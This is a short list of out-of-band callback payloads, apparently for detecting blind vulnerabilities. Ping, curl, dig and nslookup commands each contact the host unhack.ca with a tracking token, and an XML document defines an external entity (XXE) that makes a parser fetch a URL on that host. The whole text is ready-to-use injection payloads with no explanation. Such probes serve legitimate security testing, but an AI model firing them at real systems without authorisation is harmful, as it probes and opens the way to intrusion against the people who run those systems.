$ ping -c1 -p 00e968b0f7ec41bf4a75545a356d3700 unhack.ca
$ curl http://unhack.ca/p/e968b0f7ec41bf4a75545a356d37
$ dig e968b0f7ec41bf4a75545a356d37 @unhack.ca
$ dig e968b0f7ec41bf4a75545a356d37.ns.unhack.ca
C:\> nslookup e968b0f7ec41bf4a75545a356d37 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/e968b0f7ec41bf4a75545a356d37">]> <foo>&xxe;</foo>